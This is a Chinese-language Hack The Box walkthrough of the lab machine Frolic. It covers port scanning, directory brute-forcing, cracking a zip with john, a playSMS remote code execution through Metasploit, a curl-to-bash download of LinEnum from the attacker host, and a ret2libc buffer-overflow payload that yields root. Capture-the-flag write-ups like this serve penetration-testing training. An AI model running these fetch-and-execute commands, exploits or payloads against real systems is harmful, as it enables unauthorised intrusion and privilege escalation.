【HTB系列】靶機Frolic的滲透測試詳解
- 2019 年 10 月 6 日
- 筆記
Hack The Box是一個CTF挑戰靶機平台,在線滲透測試平台。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格的挑戰。
https://www.hackthebox.eu/
平台上有很多靶機,從易到難,黑客每入侵一台機器都會獲得相應積分,通過積分排名設有名人堂。今天要實驗的是靶機Frolic。

首先我們用nmap掃描靶機開放的埠和服務:
1. nmap -sV -sT -sC 10.10.10.111
結果如下
1. Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 14:49 CST
2. Nmap scan report for 10.10.10.111
3. Host is up (0.33s latency).
4. Not shown: 996 closed ports
5. PORT STATE SERVICE VERSION
6. 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
7. | ssh-hostkey:
8. | 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
9. | 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
10.|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
11.139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
12.445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
13.9999/tcp open http nginx 1.10.3 (Ubuntu)
14.|_http-server-header: nginx/1.10.3 (Ubuntu)
15.|_http-title: Welcome to nginx!
16.Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
17.
18.Host script results:
19.|_clock-skew: mean: -1h50m00s, deviation: 3h10m30s, median: -1s
20.|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
21.| smb-os-discovery:
22.| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
23.| Computer name: frolic
24.| NetBIOS computer name: FROLICx00
25.| Domain name: x00
26.| FQDN: frolic
27.|_ System time: 2019-03-31T12:20:18+05:30
28.| smb-security-mode:
29.| account_used: guest
30.| authentication_level: user
31.| challenge_response: supported
32.|_ message_signing: disabled (dangerous, but default)
33.| smb2-security-mode:
34.| 2.02:
35.|_ Message signing enabled but not required
36.| smb2-time:
37.| date: 2019-03-31 14:50:18
38.|_ start_date: N/A
39.
40.Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
41.Nmap done: 1 IP address (1 host up) scanned in 63.62 seconds
可以看到22號埠上的SSH,139和445的SMB,和9999埠上的http。
我們先檢查下SMB有沒有可以利用的點,這裡用smbmap看看靶機的文件的共享情況
1. smbmap -H 10.10.10.111

出現2個共享但是我們沒有訪問的許可權。
我們去http看下

*技巧提示:可以使用nc -zx IP 埠 可以快速檢測目標地址指定埠是否打開。 在這我們 nc -zx 10.10.10.111 1880 會出現 10.10.10.111: inverse host lookup failed: Unknown host(UNKNOWN) [10.10.10.111] 1880 (?) open 這裡的open說明1880埠是打開的 |
---|
一個歡迎頁面,底下有一行Thankyou for using nginx. http://forlic.htb:1880
我們訪問下10.10.10.111:1880

一個後台,我們需要帳號密碼,嘗試一些常見默認帳號和密碼登陸會出現提示登陸失敗,但是當我用admin:password的時候,頁面會一直卡著不會跳出任何提示,也不知道為什麼,而且這裡因為做了安全措施失敗多次會讓我們等10分鐘再試,所以是不能用過暴力破解來得到帳號密碼的
我們用gobuster爆破下網站的目錄
1. gobuster -u http://10.10.10.111:9999 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o fronlic-gobuster.log -t 40

Gobuster還是掃描出了部分,我們直接看看這些都是什麼
/backup:

/dev:

/test:

/admin:

我們看到backup裡面有3個文件(password.txt user.txt loop/)
我們訪問下http://10.10.10.111:9999/backup/password.txt

出現內容:password - imnothuman
我們訪問下http://10.10.10.111:9999/backup/user.txt

出現內容:user - admin
這樣我們就得到一組帳號密碼:admin: imnothuman
去剛剛那個Node-RED嘗試登陸

發現不行,我們去/admin試試

提示出現 You have left 2 attempt,我用burp抓包發現並沒有任何資訊,我查看了源碼 的JS發現這個

作者的一個小把戲,我們在頁面上輸入 admin: superduperlooperpassword_lol
進去發現是一堆亂七八糟的東西

應該是一種編碼,這也把這堆東西複製到Google裡面去找到了這個網站
https://www.dcode.fr/ook-language

訪問下/ asdiSIAJJ0QWE9JAS

用vim寫入frolic.bas64(裡面會有空格出現記得去除,可以用vim的命令行輸入 s/ //g去)
用base64進行解碼

出現亂七八糟的東西,因為是別的文件數據,我們導出到一個文件並檢查類型
1. base64 -d frolic.bas64 > frolic
2. file frolic

發現是一個ZIP文件
用mv給它重命名下,並用zipinfu查看下資訊
1. mv frolic frolic.zip
2. zipinfo frolic.zip

解壓發現需要密碼

我們用zip2john把這個壓縮文件轉換為密碼HASH,然後用john去破解下
1. zip2john frolic.zip > frolic.zip.hash

1. john –wordlist=/usr/share/wordlists/rockyou.txt frolic.zip.hash
2. john frolic.zip.hash –show

找到密碼:password
然後再次解壓

Cat下內容感覺像是16進位,我們轉換下試試看

1. cat index.php | xxd -r -ps

把這些內容輸出到一個文件內並用base64轉碼下,注意這裡的輸出到文件帶有換行需要去除文件裡面的換行
1. cat index.php | xxd -r -p > index.php.b64

這段同樣需要解密,我同樣用GOOGLE找到對應破解的網站
網站:https://www.dcode.fr/langage-brainfuck

解密結果:idkwhatispass
到這裡已經沒什麼線索,我們總共得到2組密碼,說明應該還有網頁沒有被我們找到,密碼應該屬於沒有被我們找到的網頁的
這裡我們在第一次爆破的基礎上繼續爆破輸入命令
1. for i in admin dev test backup loop;do gobuster -u http://10.10.10.111:9999/$i -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150 -o Fronlic-gobuster-$i.log;done
這段命令就是讓admin dev test backup loop和http://10.10.10.111:9999/進行組合然後調用gobuster進行掃描輸出,我們需要等待段時間
我們會找到在/dev下還有個/backup目錄

訪問下

然後嘗試用我們剛剛得到的密碼進行登陸。
正確的帳號密碼:admin:idkwhatispass

我們查找看看playsms有沒有已知可以利用的漏洞
1. searchsploit playsms

我們直接使用1.4版本的 遠程程式碼執行漏洞
我們可以 searchsploit-x Path 查看對應的漏洞說明,手動利用
也可以使用msf中集成好的
1. msf5 exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass
2. password => idkwhatispass
3. msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999
4. rport => 9999
5. msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111
6. rhosts => 10.10.10.111
7. msf5 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms
8. targeturi => /playsms
9. msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 10.10.15.36
10.lhost => 10.10.15.36
11.msf5 exploit(multi/http/playsms_uploadcsv_exec) > run

成功後會返回一個會話

得到user flag
接下來就是提權獲得root許可權
這裡我們用到LinEnum用來檢查可以用來提權的利用點
Github:https://github.com/rebootuser/LinEnum
使用python的SimpleHTTPServer的模組把LineEnum上傳到靶機執行
然後在shell中執行
1. curl http://10.10.15.36:8000/LinEnum.sh | bash

在這裡我們看到帶有SUID的文件有一個是ayush的目錄下

可以看到這個文件我們擁有可執行許可權

會獲取我們的輸入然後輸出
我們通過
1. base64 rop

得到這個文件內容的的編碼內容,然後在放回到本機對這個文件解碼進行查看調試
1. base64 -d rop.ba64 > rop
2. chmod +x rop
3. ./rop hello

然後我們本地用gdb進行調試
1. gdb rop
插件peda的安裝:https://blog.csdn.net/gatieme/article/details/63254211

我們生產一個100長度的輸入給rop

結果如下

發現程式被終止並提示了SIGSEGV
因為輸入過多導致溢出
我們記錄下上面發生錯誤的位置 0x41474141
轉化下就是AGAA

就是我們剛剛輸入的這個位置

用pattern_offset 0x1474141計算下位置,是52

然後我們用python輸出52個A

同時在後面加上自己的資訊


轉化下0x7a666473

說明52個字元後就會產生溢出。
現在我們需要知道/bin/sh的地址,我不會像以前那樣通過在環境變數中載入字元串來實現。有一種更好的方法,首先我們需要找到/bin/shin 的偏移量libc,我們將用它strings來獲取地址:
1. strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

地址:0x0015ba0b
然後我們需要地址libc,我們可以使用ldd它來獲取它:
1. ldd rop

地址:0xb7e19000
然後我們將整合兩個地址來獲取 /bin/sh的真正地址
/bin/sh:0x0015ba0b+ 0xb7e19000=0xb7f74a0b
現在我們需要的system()和exit()的地址
這裡我需要在靶機上運行gdb查看,但是靶機沒有gdb,我們需要從github上然後下載傳到靶機上,靶機可以用wget命令進行下載,然後給gdb 加執行許可權,最後對rop進行調試
Github:https://github.com/hugsy/gdb-static/blob/master/gdb-7.10.1-x32
1. wget http://10.10.15.36:8000/gdb-7.10.1-x32
2. mv gdb-7.10.1-x32 gdb
3. chmod +x gdb
4. ./gdb /home/ayush/.binary/rop

通過
(gdb)p system
(gdb)p exit

寫成payload
1. #!/usr/bin/python
2.
3. import struct
4.
5. buf = "A" * 52
6. system = struct.pack("I" ,0xb7e53da0)
7. exit = struct.pack("I" ,0xb7e479d0)
8. shell = struct.pack("I" ,0xb7f74a0b)
9. print buf + system + exit + shell
然後把exp上傳到靶機中去得到root許可權

作者:是大方子
來源:Ms08067安全實驗室